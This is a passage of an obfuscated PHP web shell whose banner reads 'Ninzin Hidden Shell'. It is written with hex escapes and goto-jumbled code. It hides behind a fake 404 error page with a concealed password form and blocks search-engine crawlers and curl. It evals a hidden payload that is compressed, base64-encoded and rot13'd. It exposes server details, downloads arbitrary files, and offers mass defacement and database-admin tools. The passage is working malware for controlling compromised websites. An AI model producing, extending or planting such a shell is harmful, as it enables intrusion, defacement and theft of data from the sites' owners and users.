x70\x73\72\57\x2f\146\157\x6e\x74\x73\x2e\x67\x6f\x6f\x67\154\x65\141\x70\151\163\x2e\x63\x6f\x6d\57\x63\x73\163\x3f\146\x61\x6d\151\x6c\171\75\x42\x75\x6e\147\145\x65\x27\51\x3b\xa\142\157\x64\171\40\173\12\x20\x20\x20\x20\x66\x6f\x6e\164\55\146\141\x6d\x69\x6c\171\x3a\40\47\x44\x6f\x73\151\163\x27\x2c\40\143\x75\x72\x73\x69\x76\x65\x3b\12\40\x20\x20\x20\164\145\x78\164\x2d\x73\x68\x61\144\157\167\72\x30\x70\x78\40\60\160\x78\x20\x31\160\x78\x20\43\x37\x35\67\x35\x37\65\73\xa\175\xa\12\x62\157\144\x79\x3a\72\x2d\167\145\142\153\x69\x74\55\x73\x63\x72\x6f\x6c\154\142\141\x72\40\173\12\x20\40\x77\x69\x64\x74\x68\72\x20\x31\62\x70\170\x3b\xa\x20\x20\12\x7d\12\xa\x62\x6f\144\x79\x3a\72\x2d\167\145\142\153\151\164\x2d\x73\143\x72\157\154\154\142\141\x72\x2d\164\162\x61\143\x6b\x20\173\xa\40\x20\x62\141\x63\153\x67\162\x6f\165\x6e\x64\x3a\40\x23\x31\x66\61\146\x31\146\x3b\xa\175\xa\12\x62\x6f\144\x79\x3a\72\x2d\167\145\142\x6b\151\164\x2d\x73\x63\162\x6f\x6c\x6c\142\141\x72\x2d\164\x68\165\155\x62\40\173\12\x20\40\142\141\143\153\147\162\x6f\x75\x6e\144\x2d\x63\x6f\x6c\157\x72\72\40\43\61\x66\61\146\x31\x66\73\xa\x20\40\142\x6f\162\144\x65\x72\x3a\x20\63\160\x78\40\x73\157\154\151\144\40\147\x72\x61\x79\73\12\x7d\xa\xa\x23\x63\157\x6e\164\145\x6e\x74\x20\164\162\72\150\x6f\x76\145\162\x20\x7b\xa\x20\x20\x20\40\x62\141\x63\x6b\147\x72\157\x75\x6e\144\55\x63\x6f\x6c\157\162\72\40\43\x36\x33\x36\62\66\63\73\xa\x20\x20\x20\40\x74\x65\x78\x74\55\x73\x68\141\x64\157\167\x3a\60\160\x78\x20\60\160\170\40\x31\x30\160\170\x20\43\x66\x66\x66\x3b\xa\x7d\xa\xa\x23\x63\x6f\156\164\x65\156\x74\x20\56\x66\x69\x72\163\x74\x20\173\xa\40\x20\40\40\142\x61\x63\153\x67\x72\x6f\165\156\144\x2d\x63\x6f\x6c\157\162\72\40\x23\62\65\x33\x38\x33\103\73\xa\x7d\12\xa\x23\143\x6f\x6e\164\145\156\x74\x20\56\x66\x69\x72\x73\x74\x3a\150\157\x76\x65\162\x20\x7b\xa\x20\40\40\40\142\x61\143\x6b\x67\162\157\x75\x6e\144\x2d\143\x6f\x6c\x6f\162\x3a\x20\x23\62\x35\x33\70\63\x43\12\x20\x20\x20\x20\164\x65\x78\x74\x2d\163\x68\x61\x64\x6f\x77\x3a\60\160\170\x20\x30\x70\x78\x20\61\x70\x78\x20\x23\x37\x35\67\x35\67\65\x3b\12\175\12\xa\164\141\142\x6c\145\40\x7b\xa\40\40\x20\40\x62\x6f\162\x64\x65\162\72\40\61\x70\x78\x20\43\x30\60\x30\60\60\x30\x20\x64\x6f\164\x74\x65\x64\x3b\xa\40\40\x20\40\x74\141\x62\154\145\55\x6c\141\171\x6f\x75\164\x3a\40\x66\x69\170\145\144\x3b\12\x20\40\x20\x20\167\x6f\162\144\x2d\142\162\145\141\x6b\x3a\x20\x62\162\145\141\153\x2d\x61\154\x6c\x3b\12\175\12\xa\x74\x65\170\164\141\162\145\141\x20\x7b\12\x20\x20\x20\40\x6d\x61\170\55\x77\x69\x64\164\150\x3a\40\71\x35\45\73\12\x20\x20\40\40\x6d\x61\x78\x2d\150\x65\x69\147\x68\164\x3a\40\61\x30\60\45\x3b\12\40\x20\x20\40\162\x65\x73\x69\172\x65\x3a\x20\156\x6f\156\x65\x3b\xa\40\x20\x20\40\157\x75\x74\x6c\151\156\145\72\40\x6e\157\x6e\145\x3b\xa\x20\x20\x20\x20\x6f\166\x65\x72\x66\x6c\157\167\x3a\x20\x61\x75\164\x6f\73\xa\40\40\x20\40\142\141\143\153\x67\162\157\x75\156\x64\x3a\40\x74\x72\141\156\x73\160\x61\162\x65\x6e\164\x3b\12\40\x20\40\x20\x63\157\x6c\157\x72\72\40\43\146\x66\146\x3b\xa\175\xa\12\x74\x65\x78\x74\141\x72\145\141\x3a\72\x2d\x77\x65\142\153\x69\x74\55\x73\x63\x72\x6f\154\154\142\x61\x72\40\x7b\12\x20\x20\167\x69\144\164\150\72\x20\61\62\160\x78\73\xa\x7d\xa\12\x74\145\170\x74\x61\162\x65\141\72\x3a\55\167\x65\x62\153\151\x74\55\x73\143\162\x6f\154\x6c\x62\141\162\x2d\164\x72\x61\143\x6b\x20\x7b\12\40\x20\x62\x61\x63\153\x67\162\157\x75\x6e\144\72\40\43\x31\146\x31\x66\x31\146\x3b\xa\175\xa\xa\164\145\x78\x74\x61\162\145\x61\x3a\x3a\55\167\145\142\153\151\164\55\163\143\162\157\154\x6c\142\x61\x72\x2d\x74\150\165\155\x62\x20\173\12\40\40\142\141\143\153\147\x72\x6f\165\156\144\x2d\143\157\154\157\162\x3a\40\43\x31\x66\x31\146\61\x66\73\12\x20\40\x62\x6f\x72\144\145\x72\72\x20\63\160\170\x20\x73\x6f\x6c\x69\x64\x20\147\x72\141\171\x3b\xa\x7d\12\xa\141\40\x7b\xa\40\x20\40\40\143\157\154\157\162\x3a\40\x23\146\146\x66\x66\146\x66\x3b\xa\x20\x20\40\x20\164\x65\170\164\x2d\x64\145\143\x6f\162\141\164\151\x6f\x6e\x3a\x20\x6e\157\x6e\145\x3b\12\175\12\xa\x61\72\x68\157\166\145\162\x20\173\12\x20\x20\40\40\x63\x6f\x6c\157\162\x3a\x20\147\x6f\x6c\144\73\12\x20\40\40\40\164\x65\x78\164\55\x73\150\x61\144\x6f\x77\72\60\x70\170\x20\60\160\x78\x20\x31\x30\160\170\x20\43\x66\x66\x66\x66\x66\146\x3b\xa\175\12\xa\x69\x6e\x70\x75\164\x2c\x73\145\154\145\x63\164\x2c\x74\x65\170\x74\x61\162\145\x61\40\173\12\x20\40\40\x20\142\157\162\x64\x65\x72\72\40\61\160\170\x20\x23\x30\x30\x30\60\x30\60\40\x73\x6f\x6c\x69\x64\73\12\40\40\x20\x20\x2d\x6d\x6f\172\x2d\x62\x6f\162\144\145\162\55\x72\x61\x64\x69\165\163\72\x20\65\160\x78\73\12\40\40\40\40\x2d\167\145\142\x6b\151\164\55\142\157\162\144\x65\162\55\x72\x61\144\151\165\x73\x3a\65\160\x78\73\12\40\x20\40\40\142\x6f\x72\x64\145\162\x2d\x72\141\x64\x69\x75\163\72\65\x70\x78\x3b\12\x7d\12\12\x2e\147\141\163\40\173\12\40\40\40\40\x62\141\x63\153\x67\x72\x6f\x75\x6e\144\55\x63\157\x6c\x6f\x72\x3a\x20\x23\x31\x66\x31\x66\x31\x66\73\12\40\x20\x20\x20\143\x6f\x6c\x6f\162\x3a\40\43\x66\x66\x66\146\146\146\73\12\x20\40\40\x20\x63\x75\162\x73\157\x72\72\x20\x70\157\x69\x6e\x74\145\162\x3b\xa\x7d\xa\xa\x2e\x62\x74\x66\40\x7b\12\11\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\72\x20\x74\x72\141\x6e\163\x70\x61\x72\x65\156\x74\73\xa\x9\142\x6f\162\x64\x65\162\72\40\x31\160\170\x20\43\x66\x66\146\x20\x73\157\x6c\x69\144\73\xa\11\143\x75\162\163\x6f\x72\72\40\160\x6f\x69\x6e\164\x65\x72\x3b\xa\175\xa\12\163\145\154\145\143\164\40\x7b\12\x20\40\40\x20\142\141\x63\x6b\147\162\x6f\x75\x6e\144\x2d\x63\157\154\157\x72\x3a\x20\164\x72\x61\156\163\160\x61\162\145\156\164\x3b\12\40\40\40\x20\143\x6f\x6c\x6f\x72\x3a\40\43\x66\146\x66\x66\x66\146\x3b\12\x7d\xa\12\x73\145\154\145\x63\164\x3a\x61\x66\x74\145\162\x20\x7b\xa\x20\40\40\40\143\165\x72\163\157\162\x3a\x20\x70\x6f\x69\156\x74\x65\162\73\xa\175\12\12\x2e\154\x69\156\x6b\x61\40\x7b\xa\40\x20\40\x20\142\141\143\153\147\x72\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\x3a\x20\x74\x72\x61\x6e\x73\x70\141\162\x65\156\x74\x3b\12\40\x20\x20\x20\143\x6f\154\x6f\x72\x3a\x20\43\146\146\146\x66\146\146\73\xa\175\12\12\56\x75\160\40\173\12\x20\x20\x20\40\142\141\x63\x6b\147\x72\x6f\165\x6e\x64\55\x63\x6f\x6c\157\x72\72\40\164\x72\x61\156\x73\x70\x61\x72\x65\156\164\x3b\12\x20\x20\x20\x20\x63\157\x6c\x6f\x72\x3a\40\43\146\x66\146\73\12\x7d\xa\xa\x2e\144\x65\163\164\162\x6f\171\x5f\164\141\142\154\145\x20\x7b\73\12\40\40\40\40\142\141\x63\153\147\x72\157\165\x6e\x64\x3a\164\162\141\x6e\163\x70\x61\x72\x65\156\164\x3b\xa\x20\40\x20\40\160\157\x73\x69\x74\x69\x6f\x6e\72\162\145\154\141\164\x69\x76\x65\73\12\x20\40\40\40\160\141\144\x64\151\156\147\72\x33\160\170\73\xa\x20\40\40\40\x6d\141\162\x67\151\x6e\x3a\x30\160\x78\73\xa\x20\40\x20\x20\142\x6f\x72\144\x65\x72\72\x31\160\x78\40\163\157\154\151\144\40\167\150\151\164\145\73\12\40\x20\x20\40\146\157\156\x74\x2d\146\x61\x6d\x69\154\x79\x3a\x44\157\x73\x69\163\73\12\x20\40\x20\40\x64\x69\x73\x70\x6c\141\171\72\151\x6e\154\151\x6e\145\x2d\142\154\x6f\x63\153\73\12\x20\x20\x20\40\x63\x75\x72\x73\157\x72\72\x70\x6f\x69\x6e\164\145\162\73\12\40\40\40\x20\143\157\x6c\x6f\162\x3a\167\x68\151\x74\145\73\12\x20\x20\40\40\146\x6f\x6e\164\55\163\151\x7a\145\72\61\x37\160\170\x3b\xa\40\x20\x20\40\146\x6f\x6e\164\x2d\x77\145\151\x67\x68\164\72\x62\157\154\144\73\xa\x20\x20\40\x20\x70\x61\x64\144\151\156\x67\x3a\63\x70\x78\40\62\60\x70\170\x3b\xa\40\x20\x20\40\164\x65\170\x74\55\x64\145\143\x6f\162\141\164\151\157\156\x3a\167\150\x69\x74\x65\x3b\xa\40\x20\x20\x20\164\145\170\164\55\x73\150\x61\x64\x6f\x77\72\x30\x70\x78\40\x30\160\170\x20\x30\160\170\x20\43\x66\x66\x30\65\x30\x35\73\xa\x7d\12\xa\x6f\160\164\x69\x6f\x6e\40\x7b\xa\x20\x20\x20\40\142\x61\143\x6b\147\x72\157\x75\156\144\55\x63\157\x6c\157\x72\x3a\x20\x23\61\x66\x31\146\x31\x66\x3b\12\175\xa\12\x3a\72\55\x77\145\142\x6b\151\164\55\x66\151\x6c\x65\55\165\160\x6c\157\141\144\55\142\x75\x74\164\x6f\x6e\40\x7b\12\40\40\x62\141\143\x6b\147\162\157\165\x6e\x64\x3a\40\164\162\141\x6e\x73\160\x61\x72\145\156\x74\73\xa\40\x20\x63\x6f\154\x6f\162\72\x20\x23\146\146\x66\x3b\xa\40\40\142\x6f\x72\x64\x65\x72\x2d\x63\x6f\x6c\157\162\x3a\x20\43\146\146\x66\x3b\xa\40\40\x63\x75\162\x73\x6f\162\72\40\x70\157\151\x6e\x74\145\162\x3b\12\175\12\x3c\57\x73\x74\x79\x6c\145\x3e\12\74\163\143\x72\x69\x70\164\76\xa\x66\x75\156\143\x74\x69\x6f\x6e\40\163\145\164\146\151\x6c\x65\x6e\x61\155\145\50\x76\141\x6c\x29\xa\40\x20\173\12\40\x20\40\x20\x66\x69\154\145\x6e\x61\155\x65\40\75\40\x76\x61\x6c\x2e\x73\x70\154\151\x74\50\x27\x5c\x27\51\56\160\157\160\x28\x29\56\x73\160\154\x69\164\x28\47\57\x27\x29\x2e\160\157\160\x28\51\73\xa\x20\x20\x20\x20\57\57\146\151\154\145\x6e\x61\x6d\145\40\x3d\40\146\x69\x6c\x65\156\141\x6d\x65\x2e\163\165\x62\x73\164\162\x69\156\147\50\x30\x2c\40\x66\151\154\145\x6e\x61\155\x65\x2e\154\141\163\164\111\156\144\145\x78\x4f\146\50\x27\56\x27\x29\51\73\12\40\x20\x20\x20\144\x6f\x63\165\x6d\x65\156\x74\x2e\x67\x65\164\x45\154\145\x6d\145\x6e\x74\x42\171\x49\x64\x28\47\156\141\155\141\x6e\171\x61\47\x29\56\166\141\x6c\165\145\40\x3d\x20\x66\x69\154\145\156\x61\x6d\x65\x3b\xa\x20\x20\175\12\xa\141\163\x79\156\x63\40\x66\165\x6e\143\164\x69\x6f\156\40\x6c\157\x61\x64\106\x69\154\x65\x28\x66\x69\x6c\x65\x29\40\173\12\40\x20\40\x20\x6c\145\x74\40\x74\x65\170\164\x20\75\x20\x61\167\141\x69\x74\40\x66\x69\x6c\145\56\x74\145\x78\x74\50\51\x3b\xa\x20\x20\40\x20\144\157\143\165\155\145\156\x74\56\147\145\164\x45\x6c\x65\x6d\x65\156\164\102\171\x49\x64\50\47\142\x65\x70\x61\x73\144\141\x74\141\x27\51\56\151\156\156\x65\x72\110\124\x4d\x4c\40\75\x20\164\x65\x78\x74\73\xa\175\xa\x3c\57\x73\143\162\151\160\x74\x3e\xa\74\143\x65\x6e\164\x65\x72\76\12\x3c\x66\x6f\156\164\x20\x66\141\x63\145\75\47\x54\162\141\x64\145\40\x57\151\x6e\144\163\47\x20\x73\x69\x7a\145\x3d\x27\66\x27\x3e\116\151\156\x7a\x69\156\x20\x48\151\144\144\145\156\40\123\150\145\x6c\x6c\x3c\x2f\x66\x6f\156\x74\76\74\57\143\x65\156\x74\x65\x72\76\xa\x3c\151\x6d\x67\40\x73\x72\x63\x3d\x27\150\x74\164\x70\163\x3a\57\x2f\x69\x2e\151\142\x62\56\143\x6f\x2f\170\62\127\x7a\64\x34\x6a\57\x6e\151\x6e\172\x69\x6e\152\160\x2e\152\160\147\47\40\x73\164\x79\154\x65\75\47\x70\157\x73\151\x74\x69\157\x6e\72\40\141\142\163\x6f\154\x75\164\x65\x3b\40\x74\x6f\160\x3a\x20\65\x30\160\170\73\40\162\151\147\150\x74\x3a\x20\x32\60\160\x78\x3b\40\x62\x6f\162\144\145\162\55\162\141\144\x69\165\x73\72\40\x35\x30\x25\73\x20\142\x6f\x72\x64\x65\162\55\143\157\x6c\157\x72\72\40\x62\x6c\141\x63\x6b\73\47\x20\167\151\x64\x74\x68\x3d\47\62\61\60\47\x20\x62\x6f\162\x64\145\162\x3d\x27\x32\47\40\x68\x65\151\147\x68\x74\75\47\62\61\60\47\76\xa\x3c\164\141\142\x6c\145\40\x77\151\144\164\150\x3d\47\61\60\x30\45\47\40\142\x6f\162\x64\145\162\x3d\47\x30\47\x20\x63\145\x6c\154\x70\141\x64\x64\151\156\147\75\47\x33\x27\x20\143\145\154\154\x73\x70\x61\143\151\x6e\147\75\x27\x31\x27\x20\x61\x6c\151\x67\x6e\75\47\143\145\x6e\164\x65\162\47\76\xa\x3c\164\x72\76\74\x74\x64\76"; goto jEwWG; X_Ch1: $group = "\77"; goto AnxrV; YSYov: echo "\127\x65\x62\40\123\x65\162\x76\x65\162\x20\72\40\74\x66\157\156\x74\x20\x63\157\154\157\162\75\x27\147\157\x6c\144\47\76" . $_SERVER["\x53\105\122\126\105\x52\x5f\x53\117\x46\124\x57\101\122\x45"] . "\74\x2f\x66\x6f\156\164\x3e\74\x62\162\x3e"; goto NkEgn; iXP_6: echo "\x3c\57\x64\x69\166\76"; goto CxEzp; GB8gY: $fp = "\x66\151\154" . "\145\160\x65" . "\x72\155\163"; goto a6132; d5Nl3: echo "\74\144\151\166\40\x69\144\75\x22\x63\x6f\x6e\x74\145\156\x74\x22\76\74\164\141\x62\154\145\40\167\151\144\164\x68\x3d\42\61\x30\60\x25\x22\x20\142\157\162\x64\x65\x72\x3d\x22\60\42\40\143\x65\154\154\x70\x61\x64\144\151\x6e\x67\75\x22\x33\x22\40\143\145\x6c\154\163\x70\141\x63\151\156\147\75\x22\61\42\x20\x61\154\151\147\156\x3d\x22\143\145\156\164\145\x72\42\76\12\x3c\164\162\40\x63\154\141\163\163\75\42\x66\151\x72\163\164\x22\76\12\74\164\x64\76\74\143\x65\x6e\164\145\x72\76\116\141\x6d\145\x3c\57\x63\145\x6e\x74\145\x72\76\x3c\x2f\x74\x64\76\12\x3c\164\x64\76\x3c\x63\x65\156\x74\145\x72\x3e\123\x69\x7a\x65\x3c\57\x63\x65\156\164\x65\162\x3e\x3c\57\x74\144\76\12\74\164\144\76\74\143\x65\156\x74\145\x72\x3e\114\141\x73\x74\x20\115\x6f\x64\x69\146\151\x65\144\x3c\x2f\143\145\x6e\164\x65\x72\76\74\57\x74\x64\x3e\12\74\164\144\76\x3c\143\145\x6e\x74\145\162\x3e\117\167\x6e\145\x72\40\x2f\40\107\x72\157\165\x70\74\57\143\x65\156\164\x65\x72\76\x3c\57\x74\144\x3e\12\74\164\144\x3e\74\143\x65\156\x74\x65\x72\76\120\x65\162\155\x69\x73\x73\151\x6f\156\x73\x3c\x2f\143\x65\156\x74\145\162\x3e\x3c\57\x74\x64\x3e\12\74\x74\144\76\x3c\143\145\156\x74\x65\162\x3e\117\x70\164\151\157\156\x73\74\x2f\x63\x65\156\x74\145\x72\76\74\57\164\x64\x3e\xa\74\57\x74\162\x3e"; goto Tudk2; EgDii: $lokasi = str_replace("\134", "\57", $lokasi); goto agdM1; S5rvq: function fdt($fl) { $a = "\x64\x61" . "\x74\145"; $b = "\146\x69\154" . "\x65\x6d\164" . "\151\x6d\145"; return $a("\x46\40\144\40\131\x20\x48\x3a\151\x3a\163", $b($fl)); } goto kyhLX; E8VnX: function ipserv() { if (empty($_SERVER["\123\x45\x52\126\x45\122\137\101\x44\x44\122"])) { return gethostbyname($_SERVER["\x53\105\122\x56\x45\122\x5f\116\x41\115\105"]); if (empty(gethostbyname($_SERVER["\123\105\x52\x56\x45\x52\x5f\116\x41\x4d\x45"]))) { return $_SERVER["\x53\105\122\126\x45\122\x5f\116\101\115\105"]; } } else { return $_SERVER["\123\x45\x52\126\105\122\x5f\x41\104\104\122"]; } } goto iYqNm; usZaD: function author() { echo "\x3c\x63\145\156\x74\x65\x72\76\x3c\x62\162\76\115\x61\144\x65\x20\167\x69\164\150\40\342\x99\xa5\xef\xb8\217\40\x46\162\157\155\40\116\151\156\x7a\x69\156\x3c\x2f\x63\x65\156\164\145\x72\76"; die; } goto S5rvq; O2SSS: if (!isset($_SESSION[md5($_SERVER["\110\124\x54\120\x5f\110\117\123\124"])])) { if (empty($password) || isset($_POST["\160\x61\163\163\167\157\162\x64"]) && base64_encode($_POST["\x70\141\163\x73\167\x6f\x72\144"]) == $password) { $_SESSION[md5($_SERVER["\x48\124\124\120\x5f\110\117\x53\124"])] = true; } else { login_shell(); } } goto y0HyE; cMCJ5: echo "\x3c\141\x20\x63\x6c\x61\x73\163\75\x22\x64\x65\163\164\x72\157\x79\137\x74\x61\x62\x6c\145\42\x20\150\162\145\x66\x3d\42\x3f\160\141\164\150\75" . $lokasi . "\46\155\141\163\x73\x64\145\146\x61\x63\145\75\x68\145\141\144\x73\x68\x6f\157\x74\x22\x3e\x3c\151\40\x63\154\x61\x73\x73\75\42\146\x61\x73\40\x66\141\55\160\x6f\x6f\55\x73\164\x6f\162\x6d\42\76\74\57\x69\76\x26\x6e\x62\x73\160\73\x4d\141\163\x73\40\x44\145\x66\x61\143\x65\x3c\57\141\x3e"; goto NJYLE; EYdlW: function owner($file) { if (function_exists("\x70\x6f\163\x69\x78\137\x67\145\x74\160\x77\x75\x69\144")) { $tod = @posix_getpwuid(fileowner($file)); return "\74\x63\145\x6e\x74\145\x72\x3e" . $tod["\x6e\x61\x6d\145"] . "\x3c\x2f\x63\145\156\x74\145\x72\x3e"; } else { return "\74\143\x65\x6e\x74\x65\x72\x3e" . fileowner($file) . "\74\x2f\143\145\156\x74\145\162\x3e"; } } goto hElda; xxh4f: $password = "\145\x48\x70\166\x64\130\x4a\60\115\124\x49\172"; goto tyq0E; y1wXQ: if ($isw($euybrekw) || !$isr($euybrekw)) { echo "\74\x2f\x66\157\x6e\x74\x3e"; } goto lm9_W; NkEgn: echo "\x53\x79\x73\x74\x65\x6d\40\72\40\x3c\146\157\x6e\x74\x20\143\157\154\157\162\x3d\47\x67\x6f\x6c\144\47\76" . php_uname() . "\x3c\57\146\157\x6e\x74\x3e\74\142\x72\76"; goto hJYjD; UHequ: echo "\74\141\40\143\x6c\141\x73\163\x3d\42\144\145\x73\x74\x72\157\171\137\x74\x61\x62\154\x65\42\x20\150\162\x65\x66\x3d\42\77\x70\141\x74\150\x3d" . $lokasi . "\46\141\x64\155\x69\x6e\145\162\x3d\150\x65\x61\x64\163\150\157\x6f\164\42\x3e\x3c\x69\40\143\154\x61\x73\163\75\x22\146\x61\x73\x20\x66\141\x2d\x64\x61\164\x61\x62\141\x73\x65\42\x3e\74\57\151\x3e\x26\156\142\163\x70\73\101\x64\155\x69\x6e\x65\162\74\x2f\x61\76"; goto u2Drw; tyq0E: function login_shell() { ?>
<!doctypehtml><html><head><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><style>input{margin:0;background-color:#fff;border:1px solid #fff;text-align:center}</style><br><br><br><br><br><form method="post"><br><br><center><input autocomplete="off"name="password"type="password"></form><?php die; } goto O2SSS; bDGIE: error_reporting(0); goto aZYKL; WhxNt: echo "\74\57\144\151\x76\x3e"; goto iXP_6; T1l3Y: if (empty($disfunc)) { $disf = "\74\146\157\x6e\x74\x20\143\157\154\x6f\x72\75\x27\147\157\x6c\x64\47\x3e\x4e\x4f\x4e\x45\x3c\57\146\x6f\x6e\x74\76"; } else { $disf = "\x3c\146\157\156\x74\x20\143\157\154\157\x72\x3d\x27\x72\145\x64\x27\x3e" . $disfunc . "\x3c\x2f\x66\157\156\164\x3e"; } goto fn_SB; aZYKL: header("\110\124\124\x50\57\61\x2e\x30\x20\x34\60\x34\x20\116\x6f\x74\40\106\157\x75\x6e\x64", true, 404); goto hPJ3K; AjOag: $fpt = "\146\151" . "\154\145\137\160" . "\165\164\x5f\143\x6f" . "\x6e\x74\x65" . "\156\164\x73"; goto Hfsd7; qC3XU: echo "\x3c\x2f\x74\x72\76"; goto Lu2xc; Ai93F: echo "\x54\151\155\x65\40\x3a\40\x3c\x66\157\x6e\164\x20\143\x6f\154\157\162\x3d\47\x67\157\154\x64\47\x3e" . date("\144\x20\115\40\131\40\110\72\151\x3a\163", time()) . "\x26\x6e\x62\163\160\x3b\x3c\57\146\157\156\x74\76\x3c\x62\162\76"; goto m7OOJ; m6yLj: echo "\74\x74\144\x3e\74\151\x20\143\x6c\x61\163\x73\75\47\146\141\40\146\x61\x2d\x66\157\x6c\144\x65\x72\47\x20\x73\x74\x79\x6c\x65\x3d\x27\143\x6f\154\157\162\x3a\40\x23\146\x66\145\71\x61\x32\47\x3e\74\x2f\x69\76\40\74\x61\40\x68\162\x65\x66\75\42\x3f\160\x61\x74\x68\75" . $euybrekw . "\x22\76\x2e\56\x3c\x2f\x61\76\x3c\x2f\164\x64\76\xa\x3c\x74\x64\76\x3c\143\x65\x6e\164\x65\x72\x3e\x2d\x2d\74\x2f\x63\x65\156\164\x65\162\x3e\74\x2f\x74\x64\76\12\74\164\x64\76\74\x63\145\x6e\164\x65\162\x3e" . fdt($euybrekw) . "\x3c\x2f\143\145\x6e\x74\145\x72\x3e\x3c\57\164\x64\76\12\x3c\164\144\x3e\x3c\143\x65\x6e\x74\145\x72\x3e" . gor($euybrekw) . "\40\x2f\40" . ggr($euybrekw) . "\74\x2f\143\145\156\x74\x65\x72\x3e\x3c\57\x74\144\x3e\12\x3c\x74\144\x3e\74\x63\x65\x6e\x74\145\162\x3e"; goto gQReF; xnKOj: $euybrekw = $srl($bsn($lokasi), '', $lokasi); goto zRnLc; CYemH: $rpt = "\x72\145" . "\141\154" . "\160\x61" . "\x74\x68"; goto H8RuD; agdM1: $lokasis = explode("\x2f", $lokasi); goto gQcC8; y2_cD: echo "\74\x61\x20\143\154\x61\x73\163\75\42\144\x65\163\x74\x72\157\x79\x5f\164\x61\x62\x6c\145\x22\x20\x68\x72\x65\146\75\42\77\x70\141\x74\x68\x3d" . $lokasi . "\x26\x6d\x6f\x72\145\164\x6f\x6f\x6c\x73\x3d\x68\145\x61\x64\x73\x68\157\157\x74\x22\x3e\74\151\40\x63\154\141\163\x73\x3d\x22\146\x61\163\40\146\141\55\164\x6f\157\x6c\x73\x22\76\x3c\57\x69\76\x26\x6e\x62\x73\x70\73\x4d\x6f\x72\x65\40\x54\157\157\x6c\163\x3c\57\141\76"; goto kdzPb; AnxrV: $freespace = hdd(disk_free_space("\57")); goto C6XDb; rTGrb: $fxt = "\x66\x69" . "\154\x65\x5f" . "\x65\170\x69\x73" . "\x74\163"; goto ZjnKZ; zKur1: function dunlut($file) { if (!is_readable($file)) { red("\103\x61\156\156\x6f\x74\40\x44\x6f\x77\156\x6c\x6f\x61\144\40\106\x69\x6c\x65\40\x2f\x20\125\156\162\145\x61\144\x61\x62\x6c\145\40\x46\x69\154\145\x20\41"); die; } @ob_clean(); header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\104\145\x73\x63\x72\151\x70\164\151\x6f\156\72\40\x46\151\154\145\x20\x54\162\141\156\x73\146\x65\x72"); header("\x43\157\x6e\164\145\x6e\164\55\x54\171\x70\x65\x3a\x20\x61\x70\160\154\151\x63\141\164\151\x6f\156\x2f\x6f\143\164\x65\164\x2d\x73\x74\162\x65\141\155"); header("\x43\157\x6e\x74\145\156\164\55\x44\x69\x73\160\x6f\x73\151\164\x69\157\156\72\x20\x61\x74\x74\141\143\150\155\145\156\x74\x3b\x20\146\x69\x6c\145\x6e\x61\x6d\145\75\x22" . basename($file) . "\x22"); header("\x45\170\x70\x69\x72\x65\x73\72\40\x30"); header("\103\x61\143\150\145\55\103\157\156\164\x72\x6f\154\72\40\x6d\165\163\x74\55\x72\145\x76\141\x6c\x69\x64\x61\x74\x65"); header("\120\162\141\x67\x6d\141\x3a\40\160\165\142\x6c\151\143"); header("\x43\x6f\156\x74\x65\x6e\x74\x2d\x4c\145\156\147\x74\x68\72\x20" . filesize($file)); readfile($file); die; } goto EYdlW; MVaRk: eval(gzinflate(base64_decode(str_rot13($bypass_root)))); goto AjOag; h8OHw: echo "\x3c\141\x20\x63\x6c\x61\x73\x73\75\42\144\145\x73\164\x72\x6f\x79\137\164\x61\x62\x6c\145\x22\x20\150\162\145\x66\75\42\x3f\160\x61\164\x68\75" . $lokasi . "\46\x6c\x6f\x67\x6f\x75\x74\x3d\x68\x65\141\x64\163\150\x6f\157\164\x22\76\74\151\40\143\x6c\x61\163\x73\x3d\42\x66\141\163\40\x66\x61\x2d\163\151\x67\x6e\x2d\x6f\165\164\55\x61\154\x74\42\76\74\57\x69\x3e\46\156\142\163\160\x3b\x4c\157\x67\157\165\164\74\x2f\x61\76"; goto WhxNt; ROUPh: echo "\46\156\142\x73\x70\x3b\x3c\x61\40\x63\154\x61\163\163\75\x22\x64\145\163\x74\x72\x6f\171\137\164\141\142\x6c\145\x22\x20\150\162\x65\146\75\42" . $_SERVER["\x53\103\122\111\x50\124\x5f\116\x41\115\x45"] . "\42\76\x3c\151\x20\x63\x6c\x61\163\x73\x3d\x22\x66\x61\163\40\x66\x61\x2d\150\157\x6d\x65\42\x3e\x3c\57\151\76\46\156\142\163\x70\x3b\x48\x6f\155\x65\x3c\x2f\141\x3e"; goto Du9kO; yuM3I: if (!empty($_SERVER["\x48\x54\124\120\x5f\x55\123\105\x52\x5f\101\x47\x45\x4e\x54"])) { $userAgents = array("\107\x6f\157\147\154\x65\142\157\x74", "\x53\154\165\162\160", "\115\x53\116\102\157\164", "\x50\x79\143\125\122\x4c", "\x66\141\x63\145\x62\x6f\x6f\x6b\x65\x78\x74\145\162\156\x61\x6c\150\x69\164", "\x69\141\x5f\x61\162\x63\150\x69\166\x65\x72", "\x63\x72\141\167\x6c\145\162", "\131\141\156\x64\x65\x78", "\122\x61\155\x62\154\x65\x72", "\131\141\x68\157\x6f\41\40\123\154\x75\162\160", "\x59\141\x68\x6f\157\123\145\145\153\145\x72", "\142\151\156\x67\142\157\164", "\143\165\x72\x6c"); if (preg_match("\x2f" . implode("\x7c", $userAgents) . "\x2f\151", $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\122\x5f\101\x47\105\116\x54"])) { header("\110\124\x54\120\x2f\61\56\60\40\64\60\64\40\x4e\157\164\40\x46\x6f\x75\x6e\144"); die; } } goto mvAZG; UYsIL: function cekroot() { if (is_writable($_SERVER["\104\117\x43\x55\115\x45\116\124\137\122\x4f\117\x54"])) { return "\74\146\x6f\156\x74\x20\143\157\154\157\x72\x3d\47\147\x72\145\145\156\47\76\x57\x72\x69\164\145\x61\x62\154\x65\x3c\57\x66\x6f\156\164\x3e"; } else { return "\x3c\146\157\156\164\40\x63\x6f\x6c\x6f\x72\75\x27\162\145\144\47\x3e\x57\162\x69\x74\x65\141\x62\154\x65\74\x2f\x66\x6f\x6e\164\x3e"; } } goto rhtoy; Njo2H: echo "\74\x61\x20\x63\154\x61\163\x73\x3d\42\144\x65\x73\164\x72\157\171\x5f\164\x61\x62\154\x65\x22\x20\150\162\145\x66\75\42\77\x70\141\164\x68\x3d" . $lokasi . 